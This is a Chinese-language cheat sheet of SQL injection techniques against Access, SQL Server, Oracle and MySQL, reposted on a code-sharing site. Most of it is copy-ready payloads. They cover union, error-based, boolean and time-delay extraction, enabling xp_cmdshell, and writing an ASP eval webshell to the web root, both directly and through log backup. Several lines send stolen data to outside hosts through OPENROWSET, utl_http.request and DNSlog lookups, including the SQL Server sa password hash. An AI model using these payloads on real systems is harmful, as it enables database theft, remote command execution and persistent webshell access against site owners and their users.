常見的SQL注入手法


SQL注入篇

Access數據庫

簡介

Access數據庫與其他數據庫不同,他沒有存儲的庫,所以只能猜表。

Access數據庫結構

a)       表、字段、數據

 

檢測表名是否存在

Select ID From Admin where ID = 10 and exists(select * from Admin)

 

Select ID From Admin where ID = 10 and exists(select * from Admin1)

 

聯合注入語法

判斷是否存在注入

AND方法,前后判斷必須都為true

Select * From OrderList where ID = 34 and 1=1

 

Select * From OrderList where ID = 34 and 1=2

 

OR方法,前后判斷一邊為true即可

Select * From OrderList where ID = 3 or 1=1

 

Select * From OrderList where ID = 3 or 1=2

 

判斷字段數量

Select * From Paydefault where ID = 1 order by 6

 

Select * From Paydefault where ID = 1 order by 7

報錯,說明只有6個字段

 

根據表查詢數據

Select * From Paydefault where ID = 1 and 1=2 union select 1,2,3,4,5,6 from Paydefault

 

From 后面的表名如果不對會報錯,可以用來猜測表名

 

數據回顯

Select * From Paydefault where ID = 1 and 1=2 union select 1,Paytype,3,4,5,6 from Paydefault

布爾盲注

利用ascii碼來猜解字段值

首先判斷是否存在表名:

 And exists(select * from admin)

不會報錯,說明admin表是存在的,接下來就查列

 

可以使用字典+工具去枚舉列名

如果列不存在,則會報錯

 

列存在返回正常

 

知道了列之后,就可以去猜解zidu字段

首先需要知道字段的長度,可以使用top len 函數

Select * from admin where id = 1 and (select top 1 len(username) from admin)>1

這句話的的意思很簡單,id = 1之后是可控的內容,然后and一個判斷true=true為true

相反true=false為false,可控的內容使之我們的條件語句成立。

Top 1的意思是只顯示第一行的結果

 

輸入語句判斷,當前的username字段的長度大於1,所以語句成立,返回true

 

大於11不成立,所以返回false

 

通過判斷字段長度,得到長度為8

 

接下來就猜接字段數據

select * from admin where id=10 and (select top 1 asc(mid(username,1,1)) from admin)>10

查詢第一條數據,然后取username的第一個數,取1個長度,返回一個ascii碼,和后面做比較。條件成立返回true

 

條件不成立返回false

 

通過猜解長度,得到第一位的ascii碼為97,再通過ascii解碼得到a

 

以下的結果同上,修改username 后面第一個值即可,然后對照ascii表做匹配

 

 

Sqlserver數據庫

簡介

       Sqlserver經常與asp或者aspx一起使用,操作系統多數是win2012和win2018

數據庫版本sql2008,sql2012。

Sqlserver聯合注入

Sqlserver對數據類型的判斷是比較嚴謹的,查詢的時候需要使用字符

判斷是否存在注入

?id=1 and 1=1 – -

?id=1 and 1=2 –-

判斷字段的數量

       ?id=1 order by 3 –-

查詢字段值

       ?id=1 and 1=2 union select 1,'2',name from mydb.sys.sysobjects where xtype = 'U' --  –-  

       ?id=1 and 1=2 union select null,null,name from mydb.sys.sysobjects where xtype = 'U' --常用的函數有

       Db_name()    獲取數據庫名

       @@version() 獲取數據庫版本

       User_name()  獲取當前用戶

       Host_name()  獲取當前計算機

Sqlserve報錯注入

使用報錯語句將需要的信息顯示出來

顯示系統信息

       And @@version>0利用mssql在轉換類型的時候就會出錯時,會顯示系統信息

顯示當前數據庫名

       And db_name()>0

 

顯示當前用戶

       And user_name()>0

爆出其他數據庫的方法

 

-1 and (select top 1 name from master..sysdatabases)>0

-1 and (select top 1 name from master..sysdatabases where name not in (‘master’))>0

-1 and (select top 1 name from master..sysdatabases where name not in (‘master’,’admin’))>0

爆出表名

-1 and (select top 1 name from [mydb].sys.all_objects where type=’U’ and is_ms_shipped=0)>0

-1 and (select top 1 name from [mydb].sys.all_objects where type=’U’ and is_ms_shipped=0 and name not in (‘admin’))>0

爆出列

-1 and (select top 1 column_name from mydb.information_schema.columns where TABLE_NAME=’admin’ and column_name not in(‘ID’))>0

-1 and (select top 1 column_name from mydb.information_schema.columns where table_name=admin’ and column_name not in (‘ID’,’username’))>0

爆出數據

-1 and (select top 1 password from admin) > 0

 

報錯注入,根據系統的表報出所有的表

1 and (select table_name from information_schema.tables where table_schema=’dbo’ fro xml path)>1

爆出所有的列

1 and (select column_name fron information_schema.columns where table_name=’admin’ fro xml path)>1

爆出數據
1 and (select username,password from admin fro xml path)1

 

Sqlserver執行系統命令

Sqlserver分號結束之后還可以執行查詢結果。Mysql不可以一起執行,mysql需要前面為false才可執行后面的語句

 

Xp_cmdshell默認在mssql2000中是開啟的,再mssql2005之后的版本中則默認禁止

如果用友管理員sa權限,則可以使用sp_configure重新開啟它

id=1;EXEC sp_configure'show advanced options';RECONFIGURE;EXEC sp_configure'xp_cmdshell',1;RECONFIGURE;

執行系統命令

       EXEC master..dbo.xp_cmdshell 'ipconfig'

在關閉的情況下,回顯報錯

’開啟xp_cmdshell獲取shell

Id=1;exec master..xp_cmdshell 'echo ^<%eval request(chr(35))%^> > C:\inetpub\wwwroot\www.demo1.com\2.asp' --

 

Sqlserver備份拿webshell

Log備份

;if exists(select table_name from information_schema.tables where table_name=’test_tmp’) drop table test_tmp;alter database mydb set RECOVERY FULL;

以下內容可以放在一起寫入

;create table test_tmp(a image)

;backup log mydb to disk = ‘根目錄/asp.bak’ with init

;insert into test_tmp(a) values(0x3C25657865637574652872657175657374282261222929253eda)

;backup log mydb to disk = ‘根目錄/123.asp’

;drop table test_tmp

Sqlserver openrowset轉發利用

Openrowset操作遠程數據庫的函數

適用於盲注,頁面不反悔信息,使用openrowset轉發利用,需要一台帶有sqlserver的機器

原理就是把當前數據庫轉發到遠程的sqlserver上

1、開啟擴展

http://www.demo1.com/index.aspx?id=1;exec sp_configure 'show advanced options',1 reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure

本地建立臨時表

create table ##version (VERSION varchar(500))

2、查詢系統信息

http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.0.122;uid=sa;pwd=123456', 'select * from %23%23version' ) select DB_NAME()

 

執行上面語句之后 再來查詢遠程sqlserver上的表

select * from ##version

 

 

3、兩邊創建臨時表

create table ##nonamed( dir ntext, num int )

http://www.demo1.com/index.aspx?id=1;create table %23%23nonamed( dir ntext, num int )

4、查詢路徑

insert %23%23nonamed execute master..xp_dirtree 'c:/',1

 

向nonamed表插入c盤下路徑的數據

http://www.demo1.com/index.aspx?id=1;insert %23%23nonamed execute master..xp_dirtree 'c:/',1

這里就是把數據轉發到遠程192.168.0.122 sqlserver上

http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.0.122;uid=sa;pwd=123456', 'select * from %23%23nonamed' ) select * from %23%23nonamed

在遠程sqlserver執行這個命令 就可以獲取 數據

select * from %23%23nonamed

 

Sqlserver延時注入

簡介

WAITFOR是SQLServer中Transact-SQL提供的一個流程控制語句。它的作用就是等待特定時

間,然后繼續執行后續的語句。它包含一個參數DELAY,用來指定等待的時間。

waitfor delay '0:0:5'  等待5秒再執行操作 ,頁面將5秒之后返回

select 1 waitfor delay '0:0:5'

 

1、  截取字符串判斷數據庫

Substring截取字符串

Char轉換的字符代碼

Id=1 if(substring(db_name(),1,1)=char(109)) waitfor delay'0:0:5' –

 

查詢數據庫的第一位

Id=1 if(substring(db_name(),1,1)='m') waitfor delay'0:0:5' --

 

查詢數據表

Id=1 if(substring((select top 1 name from mydb.sys.all_objects where type='U' ),1,1)='c') waitfor delay'0:0:5' –

 

查詢列名

if(substring((Select top 1 column_name from mydb.information_schema.columns where TABLE_NAME='admin'),1,1)='I') waitfor delay'0:0:5' –

 

http://www.demo1.com/index.aspx?Id=1 if(substring((Select top 1 column_name from mydb.information_schema.columns where TABLE_NAME='admin'),2,1)='D') waitfor delay'0:0:5' --

 

Sqlserver布爾盲注(ascii)

Id=1 if ascii(substring(user,1,1))>1 WAITFOR DELAY '0:0:5'

 

查詢當前數據庫的長度

Id=1 if len(db_name())=4 WAITFOR DELAY '0:0:5'--

 

查詢當前數據庫

Id=1 if ascii(substring(db_name(),1,1))=109 WAITFOR DELAY '0:0:5' --

 

 

Oracle數據庫

判斷是否存在注入

Id=1 and 1 = 1 –

Id=1 and 1 = 2

判斷數據庫的列數

Id=1 order by 8 –

 

Oracle聯合查詢

Oracle對列的類型比較嚴謹所以要用null可以匹配任意類型

如果當前用戶是一個高權限賬戶,可執行以下操作

1、 當前用戶權限(select * from session_roles)

2、 當前數據庫版本(select banner from sys.v_$version where rownum=1)

3、 服務器出口IP(select utl_http.request from dual)

4、 服務器監聽IP(select utl_inaddr.get_host_address from dual)

5、 服務器操作系統(select member from v%logfile where rownum=1)

6、 服務器sid(select instance name from v$instance)

7、 服務器id(select instance_name fron v%instance)

8、 當前連接用戶(select SYS_CONTEXT (‘USERNV’,’CURRENT_USER’) from dual)

9、 當前用戶(select user from dual)

Oracle中的dual表是一個單行單列的虛擬表

Dual是Oracle中的一個實際存在的表,任何用戶均可讀取

可通過dual表來顯示列數

Union select null,null,null from dual –

 

查詢數據庫版本、

 

查詢庫名

Rownum=1 : 只查詢一條記錄

-SMITH' union select null,(select owner from all_tables where rownum=1),null,null,null,null,null,null from dual  --

 

-SMITH' union select null,(select owner from all_tables where rownum=1 and owner<>'SYS'),null,null,null,null,null,null from dual  --

 

查詢表名(表一定要大寫)

-SMITH' union select null,(select table_name from user_tables where rownum=1),null,null,null,null,null,null from dual  --

 

-SMITH' union select null,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'),null,null,null,null,null,null from dual  --

 

查詢列名

-SMITH' union select null,null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1 and column_name<>'ID'),null,null,null,null,null from dual --

 

查詢數據

-SMITH' union select null,null,(select concat(username,password) from admin),null,null,null,null,null from dual --  

 

擴展

查詢當前用戶

Select user from dual

 

一下需要高權限用戶才能使用

列出所有用戶:

  SELECT username FROM all_users ORDER BY username;

列出數據庫

  SELECT DISTINCT owner FROM all_tables;

列出表名:

  SELECT table_name FROM all_tables;

  SELECT owner, table_name FROM all_tables;

查詢表所有列

SELECT column_name FROM all_tab_columns WHERE TABLE_NAME='ADMIN';

定位文件

SELECT name FROM V$DATAFILE;

Oracle-+jsp utl_http.request反彈注入

前提:

       通過utl_http.request我們可以將查閱的結果發送到遠程服務器上,在遇到盲注時非常有用,要使用該方法用戶需要有utl_http訪問網絡的權限

1、 檢測是否支持utl_http.request

and exists(select count(*) from all_objects where object_name='UTL_HTTP') --

2、 使用反彈注入獲取版本信息

id=1 and utl_http.request('http://192.168.10.3:2020/'%7c%7c(select banner from sys.v_$version where rownum=1))=1 --

這個里面的語句沒截好

 

3、 查詢當前用戶

id=1 and utl_http.request('http://192.168.10.3:2020/'%7c%7c(select user from dual where rownum=1))=1 --

4、 讀取數據庫的密碼

id=1 and utl_http.request('http://192.168.10.3:2020/'%7c%7c(select username from admin where rownum=1))=1 --

 

 

Oracle報錯注入

1、 使用UTL_INADDR.get_host_name()函數

and 1=UTL_INADDR.get_host_name((select user from dual)) --

  

2、 使用ctxsys.drithsx.sn

and 1=ctxsys.drithsx.sn(1,(select user from dual))--

 

 

 

總結如下

0x1 utl_inaddr.get_host_name()進行報錯注入

and 1=utl_inaddr.get_host_name((select user from dual))--

http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--

0x2 ctxsys.drithsx.sn()進行報錯注入

http://www.jsporcle.com/news.jsp?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--

0x3 XMLType()進行報錯注入

and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --

http://www.jsporcle.com/news.jsp?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --

0x4  dbms_xdb_version.checkin()進行報錯注入

and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --

查詢版本信息

http://www.jsporcle.com/news.jsp?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --

 

0x5 bms_xdb_version.makeversioned()進報錯注入

and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --

0x6 dbms_xdb_version.uncheckout()進行報錯注入

and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --

0x7 dbms_utility.sqlid_to_sqlhash()進行報錯注入

and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --

0x8 ordsys.ord_dicom.getmappingxpath()進行報錯注入

and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

0x9 decode進行報錯注入,這種方式更偏向布爾型注入,因為這種方式並不會通過報錯把查詢結果回顯回來,僅是用來作為頁面的表現不同的判斷方法。

 

and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

 

查詢庫名

and 1=ctxsys.drithsx.sn(1,(select owner from all_tables where rownum=1)) --

 

查詢表名

查詢字段

and 1=utl_inaddr.get_host_name((select column_name from user_tab_columns where rownum=1)) --

查詢數據

 

Oracle布爾盲注(decode)

簡介

在Oracle中有兩種布爾型盲注方法

一、 decode盲注法

decode(字段或字段的運算,值1,值2,值3)

解釋:函數運行的結果,當運算結果等於1時返回2,否則返回3

 

查看當前用戶

And 1=(select decode(user,’SYSTEM’,1,0) from dual) –

1代表true,0代表false,可以通過true或false判斷界面的回顯

 

查詢當前用戶的長度

And 1=(select length(user) from dual) --

 

查詢當前用戶

And 1=(select decode(substr(user,1,1),’S’,1,0) from dual) –

解釋:select查詢decode執行語句(字符串的運算,返回tru,返回false),substr截取字符(字符,截取第一位,取第一個)

 

And 1=(select decode(substr(user,2,1),’Y’,1,0) from dual) --

 

And 1=(select decode(substr(user,3,1),’S’,1,0) from dual) --

And 1=(select decode(substr(user,4,1),’T’,1,0) from dual) --

And 1=(select decode(substr(user,5,1),’E’,1,0) from dual) --

And 1=(select decode(substr(user,6,1),’M’,1,0) from dual) –

判斷當前數據庫的長度

and 3=(select length((select owner from all_tables where rownum=1)) from dual) --

 

判斷當前數據庫第一位

and 1=(select decode(substr((select owner from all_tables where rownum=1),1,1),'S',1,0) from dual) --

and 1=(select decode(substr((select owner from all_tables where rownum=1),2,1),'Y',1,0) from dual) –

 

and 1=(select decode(substr((select owner from all_tables where rownum=1),3,1),'S',1,0) from dual) --

 

查詢數據庫表名

 

查詢數據

 

Oracle布爾盲注(ascii)

解釋:截取user變量的字符串的第一位的第一個,變為ascii碼去查詢

And (select ascii(substr(user,1,1)) from dual)>1 --

 

Oracle延遲注入

簡介

DBMS_PIPE.RECEIVE_MESSAGE函數將為從RDS管道返回的數據等待10秒。默認情況下,允許以public權限執行該包。DBMS_LOCK.SLEEP()與之相反,它是一個可以用在SQL語句中的函數。

1、 判斷注入,如果延遲10秒存在注入

And 1=(dbms_pipe.receive_message('RDS', 10))

 

2、 使用注入語句,與decode函數一起使用

簡單來說就是把decode分段中的第二個參數修改為延遲5秒

and 1=(select decode(substr(user,1,1),'S', dbms_pipe.receive_message('RDS', 5),0) from dual) --  

 

3、 查詢當前數據用戶的長度

and 1=(select decode(length(user),6,dbms_pipe.receive_message('RDS', 5),0) from dual) --

4、 判斷第一位是哪個字符

and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS', 5),0)from dual) --

 

5、 判斷當前數據庫的長度

And 1=(select decode(length((select owner from all_tables where rownum=1)),3, dbms_pipe.receive_message('RDS', 5),0) from dual) --

6、 判斷第一個字符

And 1=(select decode(substr((select owner from all_tables where rownum=1),1,1),'S', dbms_pipe.receive_message('RDS', 5),0)from dual) --

內聯注入

Mysql

簡介

這種注入方式適合在找到表找不到字段的情況下使用

這種注入方式需要聯合兩個表,所以這種注入也是聯合查詢的一種

 

原理

在SQL中查詢select * from admin 星號代表所有字段

 

在使用唯一注入這種注入方法,需要確定當前表的字段數

表artice的字段為3個

使用聯合語句把另外一個表聯合進來查詢

Select * from article where id=1 union select 1,2,3, from admin

Admin的表的字段數同樣也是3個把admin.*替換1,2,3

語句並不會報錯,應為列數一樣同樣也會顯示表admin里面的字段數據

Select * from article where id=-1 union select admin.* from admin

 

查詢所有的表

 

同理,查詢所有的表

select tp_admin.* from tp_admin

 

id=-1 union select admin.* from admin –

 

前表必須大於等於后表的字段數,才可顯示成功

前表字段數7,后表字段數為6,所以后表需要填充一個字段

 

否則

 

ACCESS數據庫

Access數據庫也可使用內聯注入,前表與后表的字段數需相同

Selet * from affiche union select * from admin

前表字段與后表字段數量不符,所以報錯

 

演示真實環境

當前字段數量為26

 

Union select 聯合查詢

 

猜測admin表有幾個字段,可以推算用admin.*來添加,如果字段不匹配則報錯

 

字段匹配正確返回結果,但是沒有數據出現

 

將admin.*直接放到第一位,然后數據就會回顯

 

總結:內聯注入,所需要的前表必須大於后表,然后需要猜解到相等的字段長度,才可以實現

 

Dnslog無回顯注入

原理

DNS在解析的時候會留下日志,利用這個屬性,可以讀取多級域名的解析日志,來獲取信息

將帶有查詢的語句發起dns查詢請求,通過dns請求擦汗尋到值,組合成三級域名,在ns服務器dns的日志中顯示出來

無回顯注入,一般使用布爾型盲注和延時注入查詢數據,但是這兩種查詢都是很慢,dnslog查詢因為是直接顯示數據,所以這種注入效率上面說的這種都要好

 

Windows系統命令執行

       Ping %USERNAME%.ch6del.dnslog.cn

Linux系統命令執行

       Ping `whoami`.ip.port.ch6del.dnslog.cn

       Curl http://ip.port.ch6del.dnslog.cn/`whoami`

 

注:需要在高權限用戶下執行

Access注入

load_file 使用這個函數 必須 在mysql開啟  secure_file_prv= 設置可以讀取方可使用這個函數

1、當secure_file_priv為空,就可以讀取磁盤的目錄。

2、當secure_file_priv為G:\,就可以讀取G盤的文件。

3、當secure_file_priv為null,load_file就不能加載文件。

推薦平台,需要注冊

平台帶有payload,無腦復制粘貼即可

http://ceye.io/introduce

這里的POC需要編碼,否則一些特殊符號會導致報錯

declare%20%40host%20varchar(1024)%3bselect%20%40host%3d(select%20top%201%20master.dbo.fn_varbintohexstr(password_hash)%20from%20sys.sql_logins%20where%20name%3d'sa')%2b'.ip.port.o2tf2m.ceye.io'%3b%20exec('master..xp_dirtree%20%22%5c%5c'%2b%40host%2b'%5cfoobar%24%22')%3b

 

 

Mysql注入

將所需要查詢的數據直接替換在select database()即可

http://target_sys.com/article.php?id=1 and if((select load_file(concat('\\\\',(SELECT database()),'.o2tf2m.ceye.io\\abc'))),1,0) --

 

 

and if((select load_file(concat('\\\\',(SELECT version()),'.o2tf2m.ceye.io\\abc'))),1,0) --

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM